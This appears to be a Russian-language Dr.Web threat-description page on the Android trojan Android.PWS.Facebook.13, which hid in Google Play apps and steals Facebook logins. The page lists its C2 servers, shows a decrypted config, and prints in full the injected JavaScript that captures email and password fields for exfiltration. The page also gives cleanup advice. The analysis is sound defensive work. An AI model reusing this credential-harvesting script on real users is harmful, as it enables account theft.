Поддержка
Круглосуточная поддержка

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Android.PWS.Facebook.13

Добавлен в вирусную базу Dr.Web: 2021-06-18

Описание добавлено:

SHA1:

  • d8f941f6a8dbda39a881ad2a1661e3227e3f8f18
  • 8f30f3f176613dbc14aa29bfb3c952b6eb046da3

Описание

Троянская программа, предназначенная для работы на устройствах под управлением ОС Android. Ее главная функция ― похищение логинов и паролей от учетных записей Facebook. Данная модификация скрывалась в приложениях App Lock Keep и Processing Photo из каталога Google Play, однако троян может распространяться и под видом другого ПО.

Android.PWS.Facebook.13 #drweb Android.PWS.Facebook.13 #drweb

Android.PWS.Facebook.13 #drweb Android.PWS.Facebook.13 #drweb

Принцип действия

При запуске Android.PWS.Facebook.13 запрашивает конфигурацию с одного из следующих управляющих серверов:

  • https://data[.]applockkeep[.]xyz
  • https://shop[.]vfgrl[.]com

Пример расшифрованной конфигурации:


{
   "retCode":0,
   "u":"https:\/\/www[.]facebook[.]com\/login[.]php",
   "ds":1,
   "dc":0,
   "d":"function...;",
   "aboutus":"http:\/\/fun[.]biugames[.]com\/vip628316[.]html"
}

где

  • d ― поле, содержащее код JavaScript, с помощью которого троян крадет конфиденциальные данные жертв;
  • u ― поле, содержащее URL-адрес веб-страницы для загрузки формы авторизации. При анализе троян получал настройки для демонстрации настоящей страницы для входа в социальную сеть Facebook https://www.facebook.com/login, однако также он может загружать страницы других легитимных сервисов и фишинговых сайтов.

При нажатии пользователем на любую кнопку в меню приложения Android.PWS.Facebook.13 проверяет наличие конфигурации и значение поля ds в ней, а также проверяет, были ли ранее сохранены логин и пароль пользователя в локальную базу данных. Если значение поля ds равно 1 и сохраненная пара «логин-пароль» отсутствует, троян предлагает жертве войти в ее учетную запись Facebook и загружает в WebView URL-адрес, расположенный в поле u. При этом перед каждой загрузкой URL в локальную базу данных сохраняются cookie текущей сессии, а также с задержкой вызывается функция uploadData.

Android.PWS.Facebook.13 #drweb Android.PWS.Facebook.13 #drweb

После загрузки страницы в этот же WebView загружается JavaScript из поля d конфигурации:


function Logs(msg) {}
function exec() {
    try {
        var m = document.getElementById("email").value;
        var p = document.getElementById("pass").value;
        if (m.length <= 0 || p.length <= 0) {
            return false
        }
        wb.a(m, p, "", "")
    } catch (e) {
        try {
            var m = document.getElementById("m_login_email").value;
            var p = document.getElementById("m_login_password").value;
            if (m.length <= 0 || p.length <= 0) {
                return false
            }
            wb.a(m, p, "", "")
        } catch (e) {}
    }
}
function login() {
    try {
        var loginFormObj = document.getElementById("loginform");
        loginFormObj.getElementsByTagName("button")[0].addEventListener("touchend", function() {
            exec()
        });
        loginFormObj.getElementsByTagName("button")[0].addEventListener("click", function() {
            exec()
        });
        document.onkeydown = function(event) {
            if (event.keyCode === 13) {
                exec()
            }
        }
    } catch (e) {
        try {
            var loginFormObj = document.getElementById("login_form");
            loginFormObj.querySelectorAll("button[name^=login]")[0].addEventListener("touchend", function() {
                exec()
            });
            loginFormObj.querySelectorAll("button[name^=login]")[0].addEventListener("click", function() {
                exec()
            });
            document.onkeydown = function(event) {
                if (event.keyCode === 13) {
                    exec()
                }
            }
        } catch (e) {}
    }
}
var testpclogin = /facebook\.com\/login\.php/i;
var testwaplogin = /m.facebook\.com\/$|m.facebook\.com\/login\.php/i;
if (testpclogin.test(window.location.href) || testwaplogin.test(window.location.href)) {
    login()
} else {
    setTimeout(function() {
        Logs("=============111");
        try {
            Logs("=============22222");
            var testurl = /facebook\.com\/bookmarks\/pages/i;
            var testbmurl = /business\.facebook\.com/i;
            if (testurl.test(window.location.href)) {
                try {
                    var obj = document.getElementById("bookmarksSeeAllEntSection");
                    if (obj == null) {
                        obj = document.getElementsByTagName("iframe")[0].contentDocument.getElementById("bookmarksSeeAllEntSection")
                    }
                    if (obj != null) {
                        var len = obj.getElementsByTagName("li").length;
                        if (len > 0) {
                            wb.c(1, 1)
                        }
                    }
                } catch (e) {
                    try {
                        var objs = document.querySelectorAll("div[class*='fdg1wqfs'][class*='lt9micmv'][class*='buofh1pr'][class*='j83agx80']");
                        if (objs.length > 0) {
                            wb.c(1, 1)
                        }
                    } catch (e) {}
                }
            } else {
                if (testbmurl.test(window.location.href)) {
                    setTimeout(function() {
                        var testbmurl1 = /business\.facebook\.com\/home\/accounts\?business_id=[0-9]+/i;
                        var testbmurl2 = /business\.facebook\.com\/select\/\?next=/i;
                        if (testbmurl1.test(window.location.href)) {
                            try {
                                var adcount = document.querySelectorAll("div[adaccountid]").length;
                                if (adcount > 0) {
                                    wb.c(2, 3)
                                } else {
                                    wb.c(2, 1)
                                }
                            } catch (e) {
                                wb.c(2, 1)
                            }
                        } else {
                            if (testbmurl2.test(window.location.href)) {
                                wb.c(2, 1)
                            } else {
                                wb.c(2, 2)
                            }
                        }
                    }, 3000)
                }
            }
        } catch (e) {}
    }, 8000)
};

Скрипт содержит функции wb.a() и wb.c(), вызывающие код из троянского classes.dex с помощью JavascriptInterface.

Используя метод, предоставленный через аннотацию JavascriptInterface, функция wb.a() сохраняет введенные данные авторизации (пароль и имя пользователя) в локальную базу данных, при этом с задержкой вызывается функция uploadData.

Метод, доступный через вызов функции wb.c(), в коде исследованного образца Android.PWS.Facebook.13 отсутствует.

Функция uploadData читает данные из локальной базы данных. Она проверяет пароль, имя пользователя и cookie. Эти параметры не должны быть пустыми, а cookie должно содержать строку c_user. Если условия выполняются, то данные вместе с информацией о user agent кодируются в base64 и передаются на управляющий сервер.

Индикаторы компрометации

Новость о трояне

Рекомендации по лечению


Android

  1. Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light. Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
  2. Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
    • загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
    • после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
    • выключите устройство и включите его в обычном режиме.

Подробнее о Dr.Web для Android

Демо бесплатно на 14 дней

Выдаётся при установке